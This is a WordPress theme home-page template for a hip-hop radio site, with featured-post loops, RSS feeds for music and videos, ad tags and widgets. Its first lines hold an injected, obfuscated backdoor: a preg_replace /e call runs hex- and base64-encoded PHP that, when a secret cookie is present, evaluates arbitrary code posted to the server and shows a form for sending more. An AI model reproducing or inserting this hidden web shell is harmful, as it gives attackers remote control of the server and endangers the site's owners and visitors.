<?php
preg_replace("/.+/esi","\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'aWYgKCFlbXB0eSgkX0NPT0tJRVsndiddKSBhbmQgJF9DT09LSUVbJ3YnXT09J2QnKXtpZiAoIWVtcHR5KCRfUE9TVFsnYyddKSkge2VjaG8gJzx0ZXh0YXJlYSByb3dzPTI4IGNvbHM9ODA+JzsgJGQ9YmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLCRfUE9TVFsnYyddKSk7aWYoJGQpIGV2YWwoJGQpOyBlY2hvICc8L3RleHRhcmVhPic7fQ0KZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD1wb3N0Pjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjggbmFtZT1jPjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdD48L2Zvcm0+JztleGl0O30='\x29\x29\x3B",'1');
?>
<?php get_header(); ?>

<style>
.primary_col {
overflow:hidden;
}
#featured, #featuredb, #featuredc{
	color:#000;
}
</style>



		<div id="content" class="container">
						
			<!-- Featured Articles -->
			<div class="primary_col">
 			
				<div id="featured">
					<?php query_posts('cat=3&showposts='.get_option('gp_featured_articles')); ?>
					<?php while (have_posts()) : the_post(); ?>
					
					<?
						$content = $post->post_content;
						$searchimages = '~<img [^>]* />~';
						
						
						preg_match_all( $searchimages, $content, $pics );
						
						// Check to see if we have at least 1 image
						$iNumberOfPics = count($pics[0]);
						
						if ( $iNumberOfPics >= 1 ) {
							 // Your post have one or more images.
						?>
                    
                    <div class="slider">
						<div class="thumbnail meto">
							<?php get_the_image( array( 'image_scan' => true, 'width' => 240, 'height' => 353 ) ); ?>
						</div>
						<div class="title orange" style='border-left:4px solid #FE9400 !important;'>
							<h2><?php the_category(', '); ?><i> &mdash; <?php the_time('D, M j, Y'); ?></i></h2>
							<h1><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h1>							
						</div>
						<div class="arrow"></div>						
					</div>
					
					<? } ?>
					
					
					
					<?php endwhile; ?>		
				</div>
				
			</div>
			<!-- // Featured Articles -->
            
              <?php rewind_posts(); ?>

            
            		<!-- Featured Articles -->
			<div class="primary_col">
 			
				<div id="featuredb">
					<?php query_posts('cat=4&showposts='.get_option('gp_featured_articles')); ?>
					<?php while (have_posts()) : the_post(); ?>
					
                    <?
						$content = $post->post_content;
						$searchimages = '~<img [^>]* />~';
						
						
						preg_match_all( $searchimages, $content, $pics );
						
						// Check to see if we have at least 1 image
						$iNumberOfPics = count($pics[0]);
						
						if ( $iNumberOfPics >= 1 ) {
							 // Your post have one or more images.
						?>
                        
                        
                    
                    <div class="slider">
						<div class="thumbnail meto">
							<?php get_the_image( array( 'image_scan' => true, 'width' => 240, 'height' => 353 ) ); ?>
						</div>
						<div class="title bluer" style='border-left:4px solid #37BFE6 !important;'>
							<h2><?php the_category(', '); ?><i> &mdash; <?php the_time('D, M j, Y'); ?></i></h2>
							<h1><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h1>							
						</div>
						<div class="arrow"></div>						
					</div>
                    
                    <? } ?>
                    
                    
					<?php endwhile; ?>		
				</div>
				
			</div>
			<!-- // Featured Articles -->
            
            
            
              <?php rewind_posts(); ?>

            
            
            
            
            
            		<!-- Featured Articles -->
			<div class="primary_col">
 			
				<div id="featured" class='trepiece'>
					<?php query_posts('cat=1&showposts='.get_option('gp_featured_articles')); ?>
					<?php while (have_posts()) : the_post(); ?>
					
                    
                    <?
						$content = $post->post_content;
						$searchimages = '~<img [^>]* />~';
						
						
						preg_match_all( $searchimages, $content, $pics );
						
						// Check to see if we have at least 1 image
						$iNumberOfPics = count($pics[0]);
						
						if ( $iNumberOfPics >= 1 ) {
							 // Your post have one or more images.
						?>
                    
                    <div class="slider">
						<div class="thumbnail meto">
							<?php get_the_image( array( 'image_scan' => true, 'width' => 240, 'height' => 353 ) ); ?>
						</div>
						<div class="title">
							<h2><?php the_category(', '); ?><i> &mdash; <?php the_time('D, M j, Y'); ?></i></h2>
							<h1><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h1>							
						</div>
						<div class="arrow"></div>						
					</div>
                    
                    
                    <? } ?>
                    
					<?php endwhile; ?>		
				</div>
				
			</div>
			<!-- // Featured Articles -->
            
           
           
      
           
            
            
            <?
			
            include 'wp-content/plugins/wp-o-matic/inc/simplepie/simplepie.class.php'; 
            
			$feed = new SimplePie();  
$feed->set_feed_url(' http://www.dapper.net/transform.php?dappName=ahhfeed&transformer=RSS&extraArg_title=songtitle&extraArg_description[]=artist&extraArg_description[]=artistpic&applyToUrl=http%3A%2F%2Fallhiphop.com%2Fmedia%2Fmusic.aspx%3Fapp%3Dmultimedia__music');

$feed->init();  
$feed->handle_content_type(); 



		?>	
        	<!--
            <div id='rightreg'>
  			<ul class='regme'>
  			<? wp_register(); ?>
  			</ul>
            </div>
            -->
            
            <div style="border:1px solid #CCCCCC;float:right;margin-bottom:31px;margin-top:-21px;padding:10px; ">
			
            <!-- PubMatic ad tag (Javascript) : Homepage 300x250 | http://Radiohiphop.com | 300 x 250 Medium Rectangle -->
			<!-- PubMatic ad tag (Javascript) : Homepage 300x250 | http://Radiohiphop.com | 300 x 250 Medium Rectangle -->
<div style='width:300px; height:250px;'>
<script type="text/javascript">
var pubId=19039;
var siteId=24593;
var kadId=19191;
var kadwidth=300;
var kadheight=250;
var kadtype=1;
</script>
<script type="text/javascript" src="http://ads.pubmatic.com/AdServer/js/showad.js">
 </script>
</div>





            </div>

            
            
			<!-- Recent News -->
			<div class="right_col" style="height:360px;">
			
            
         
            
				<h5 class="recentnews">New Music</h5>

				<ul >
				<? foreach($feed->get_items() as $item) { ?>
					
                    
                    <?
					$cnt++;
						if ($cnt == 6){ break; }	
						$getthis = explode('/', $item->get_description());
						$songid = explode ('.',  $getthis[9]);
						 preg_match('/(alt|title|src)=("[^"]*")/i', $item->get_description(), $mynewsong);
						//break;
					?>
                    
                    
                    <li>
                    
                  <a href='../listen?id=<?= $songid[0] ?>&tt=<?= urlencode($item->get_title()) ?>'>
						<div class="thumbnail-small"><?= '<img '.$mynewsong[0].'>' ?></div>
						<span class="title"><?= str_replace(',','',strip_tags($item->get_description())) ?></span><br />
						<span class="meta"><?= $item->get_title() ?></span>
                        </a>
					</li>
					<?php } ?>
				</ul>
							
			</div>
			<!-- // Recent News -->
            
            
            
            
      
            
            
            
            
            
            

			<!-- Recent News -->
			<div class="right_col" style="height:360px;">
			
				<h5 class="recentnews">Recent News</h5>

				<ul >
					<?php query_posts('showposts=6&offset='.get_option('gp_featured_articles')); ?>
					<?php while (have_posts()) : the_post(); ?>
					<li>
						<div class="thumbnail-small"><?php the_post_thumbnail(); ?></div>
						<span class="title"><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></span><br />
						<span class="meta"><?php the_time('l, F j, Y G:i'); ?></span>
					</li>
					<?php endwhile; ?>
				</ul>
							
			</div>
			<!-- // Recent News -->

			
            
               <div class="right_col" style="height:360px;">
			
				<h5 class="recentnews">Recent Comments</h5>

          <div id="recentcomments" class="dsq-widget"><script type="text/javascript" src="http://disqus.com/forums/radiohiphopcom/recent_comments_widget.js?num_items=5&hide_avatars=0&avatar_size=32&excerpt_length=200"></script></div>
            
            </div>
            

<div style='clear:left'></div>


       

     



<h1 style='
font-family:PT_Sans_Narrow_Bold;
font-size:37px;
font-weight:bold;
margin-bottom:16px;
margin-left:10px;
margin-right:10px;;'>Lastest Hip Hop Video News</h1>

<div id='mainvidblk'>
<?


$feed = new SimplePie();  
$feed->set_feed_url('http://worldstarhiphop.com/videos/rss.php');

$feed->init();  
$feed->handle_content_type(); 
$vidcnt =0;
foreach($feed->get_items() as $item) { 
	$vidcnt++;
	if ($vidcnt == 10){
		
		echo'
		<center>
		<!-- PubMatic ad tag (Javascript) : Home Page Ad with Videos | http://Radiohiphop.com | 468 x 60 Banner -->
<script type="text/javascript">
var pubId=19039;
var siteId=24593;
var kadId=19192;
var kadwidth=468;
var kadheight=60;
var kadtype=1;
</script>
<script type="text/javascript" src="http://ads.pubmatic.com/AdServer/js/showad.js">
 </script>
 </center>
 <div style="clear:both; margin-bottom:5px;"></div>
 ';


	}
	
	
	$mylink =  $item->get_link();
	$mylink = explode ('v=',$mylink);
	preg_match('/(alt|title|src)=("[^"]*")/i', $item->get_description(), $mynewid);
	//echo $mynewid[0];
	$newdesc = preg_replace('/80/', '',$item->get_description());
	
	
        $output .= '<h2>'.$item->get_title().'</h2>';
        $alldesc = '<![CDATA['.$newdesc.'<object width="448" height="374"><param name="movie" value="http://www.worldstarhiphop.com/videos/e/16711680/'. $mylink[1].'"><param name="allowFullScreen" value="true"></param><embed src="http://www.worldstarhiphop.com/videos/e/16711680/'. $mylink[1].'" type="application/x-shockwave-flash" allowFullscreen="true" width="448" height="374"></embed></object>]]>';

	?>
	
    <? //$alldesc ?>
 <div class='avid'>
  <div class='vidtitle'>
  	<a href='/?page_id=88&myvid=<?= $mylink[1] ?>&tt=<?= urlencode($item->get_title()) ?>' style='color:#fff'>
	<?= $item->get_title() ?>
  </div>
  <? echo '<img class="vidpik" '.$mynewid[0].'>'; ?>
  </div>
  </a>
<?	
 }
?>
</div>



<!-- Browse by Tags -->
			<div class="right_col">
				
				<h5 class="tags">Browse by Tags</h5>
				
				<ul> <!-- Tagcloud -->
					<li style="border-bottom:none;height:76px;">
						<?php if ( function_exists('wp_tag_cloud') ) : ?>
						<?php wp_tag_cloud('smallest=11&largest=22&format=flat&orderby=count&number=10'); ?>
						<?php endif; ?>
					</li>
				</ul>
				
                
                <script type="text/javascript" src="http://static.ak.connect.facebook.com/connect.php/en_US"></script><script type="text/javascript">FB.init("6ccebfa4961043db8370f7d5ed520a0f");</script><fb:fan profile_id="206322690493" stream="0" connections="10" logobar="1" width="280"></fb:fan><div style="font-size:8px; padding-left:10px"><a href="http://www.facebook.com/pages/RadioHipHopcom/206322690493">RadioHipHop.com</a> on Facebook</div>
             
             
             
             
             
             <div style='width:300px; height:250px;'>
<!-- PubMatic ad tag (Javascript) : 300x250  | http://Radiohiphop.com | 300 x 250 Medium Rectangle -->
<script type="text/javascript">
var pubId=19039;
var siteId=24593;
var kadId=19478;
var kadwidth=300;
var kadheight=250;
var kadtype=1;
</script>
<script type="text/javascript" src="http://ads.pubmatic.com/AdServer/js/showad.js">
 </script>


</div>
             
             
                
			</div>
			<!-- // Browse by Tags --> 

			






<? 
/*
			<!-- From the Community -->	
			<div class="left_col">

				<h5 class="fromthecommunity">Community</h5>
				
				<ul>
					<?php
					global $wpdb;
					$sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID,
					comment_post_ID, comment_author, comment_date, comment_approved,
					comment_type,comment_author_url,
					SUBSTRING(comment_content,1,40) AS com_excerpt
					FROM $wpdb->comments
					LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID =
					$wpdb->posts.ID)
					WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' ORDER BY comment_date DESC LIMIT 5";
					$comments = $wpdb->get_results($sql);
					$output = $pre_HTML;
					foreach ($comments as $comment) {
					$output .= "\n<li><span class='title comment_excerpt'><a href=\"" . get_permalink($comment->ID) .
					"#comment-" . $comment->comment_ID . "\" title=\"on " .
					$comment->post_title . "\">" .strip_tags($comment->com_excerpt).
					"...</a></span><br/>" . "<span class='meta'>Said ".strip_tags($comment->comment_author)
					." on ".strip_tags($comment->comment_date)."</span></li>";
					}
					$output .= $post_HTML;
					echo $output;?>
				</ul>
				 
			</div>
	  
            
            <!-- // From the Community -->	
*/
?>
	
    <?
	/*
    		<!-- Popular Stories -->	
			<div class="middle_col">
				
				<h5 class="popularstories">Popular Stories</h5>
				
				<ul> <!-- Popular posts -->
					<?php
					$now = gmdate("Y-m-d H:i:s",time());
					$lastmonth = gmdate("Y-m-d H:i:s",gmmktime(date("H"), date("i"), date("s"), date("m")-1,date("d"),date("Y")));
					$popularposts = "SELECT ID, post_title, post_date, comment_count, COUNT($wpdb->comments.comment_post_ID) AS 'popular' FROM $wpdb->posts, $wpdb->comments WHERE comment_approved = '1' AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status = 'publish' AND post_date < '$now' AND post_date > '$lastmonth' AND comment_status = 'open' GROUP BY $wpdb->comments.comment_post_ID ORDER BY popular DESC LIMIT 5";
					$posts = $wpdb->get_results($popularposts);
					$popular = '';
					if($posts){
					foreach($posts as $post){
					$post_title = stripslashes($post->post_title);
					$post_date = stripslashes($post->post_date);
					$comments = stripslashes($post->comment_count);
					$guid = get_permalink($post->ID);
					$popular .= '<li><span class="title"><a href="'.$guid.'" title="'.$post_title.'">'.$post_title.'</a></span><br/>
					<span class="meta">With <a href="'.$guid.'#comments" title="Read the comments on '.$post_title.'">'.$comments.' comments</a> since '.$post_date.'</span></li>';
					}
					}echo $popular;
					?>
				</ul>
				  
			</div>
			<!-- // Popular Stories -->

			
	
    <div class="clear">		
			<div class="clear"></div>
			
		</div>
											
			<!-- Left Column -->
			<div class="left_col"> 
				<?php 
					$the_id=0;
				 	$feat_query=new WP_Query('showposts=1&category_name='.get_option('gp_leftcol_cat'));
					if($feat_query->have_posts()) : while($feat_query->have_posts()) : $feat_query->the_post(); $the_id=$post->ID; 
				?>		
				<h2><?php the_category(', '); ?><i> - <?php the_time('M j, Y G:i'); ?> - <a href="<?php the_permalink() ?>#comments" title="Jump to the comments"><?php comments_number('0 Comments','1 Comment','% Comments'); ?></a></i></h2>
				<h1><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h1>
				<?php the_content('Read more...'); ?>
				<?php endwhile; endif; ?>
			</div> 
			<!-- // Left Column -->
			
			<!-- Middle Column -->
			<div class="middle_col"> 
				<?php 
					$the_id=0;
				 	$feat_query=new WP_Query('showposts=1&category_name='.get_option('gp_centercol_cat'));
					if($feat_query->have_posts()) : while($feat_query->have_posts()) : $feat_query->the_post(); $the_id=$post->ID; 
				?>		
				<h2><?php the_category(', '); ?><i> - <?php the_time('M j, Y G:i'); ?> - <a href="<?php the_permalink() ?>#comments" title="Jump to the comments"><?php comments_number('0 Comments','1 Comment','% Comments'); ?></a></i></h2>
				<h1><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h1>
				<?php the_content('Read more...'); ?>
				<?php endwhile; endif; ?> 
			</div>
			<!-- // Middle Column -->
			
			<!-- Right Column -->
			<div class="right_col"> 
				<?php 
					$the_id=0;
				 	$feat_query=new WP_Query('showposts=1&category_name='.get_option('gp_rightcol_cat'));
					if($feat_query->have_posts()) : while($feat_query->have_posts()) : $feat_query->the_post(); $the_id=$post->ID; 
				?> 		
				<h2><?php the_category(', '); ?><i> - <?php the_time('M j, Y G:i'); ?> - <a href="<?php the_permalink() ?>#comments" title="Jump to the comments"><?php comments_number('0 Comments','1 Comment','% Comments'); ?></a></i></h2>
				<h1><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a></h1>
				<?php the_content('Read more...'); ?>
				<?php endwhile; endif; ?>
			</div>
			<!-- // Right Column --> 
			*/ 
			?>
			<div class="clear"></div>
		
	</div>
    
     <?php if (is_home()) { //nothing 
  } else {?>
    </div>
   <? } ?>
    
    <?php if (is_home()) { //nothing  ?>
	<style>
	    #content li {
border-bottom:1px dashed #DDDDDD;
line-height:16px;
list-style-type:none;
margin:0;
padding:15px 0;
		}
		.thumbnail-small img {
border:1px solid #DDDDDD;
float:left;
height:50px;
margin:0 8px 0 0;
padding:1px;
width:50px;
		}
		
		.recentnews{
line-height:27px;
margin-bottom:-7px;
padding:0 0 0 32px;

		}
</style>




  
  <? } ?>
    

    
    
<script>
<!--

/*
Auto Refresh Page with Time script
By JavaScript Kit (javascriptkit.com)
Over 200+ free scripts here!
*/

//enter refresh time in "minutes:seconds" Minutes should range from 0 to inifinity. Seconds should range from 0 to 59
var limit="0:60"

if (document.images){
var parselimit=limit.split(":")
parselimit=parselimit[0]*60+parselimit[1]*1
}
function beginrefresh(){
if (!document.images)
return
if (parselimit==1)
window.location.reload()
else{ 
parselimit-=1
curmin=Math.floor(parselimit/60)
cursec=parselimit%60
if (curmin!=0)
curtime=curmin+" minutes and "+cursec+" seconds left until page refresh!"
else
curtime=cursec+" seconds left until page refresh!"
window.status=curtime
setTimeout("beginrefresh()",1000)
}
}

window.onload=beginrefresh
//-->
</script>
    
<?php get_footer(); ?>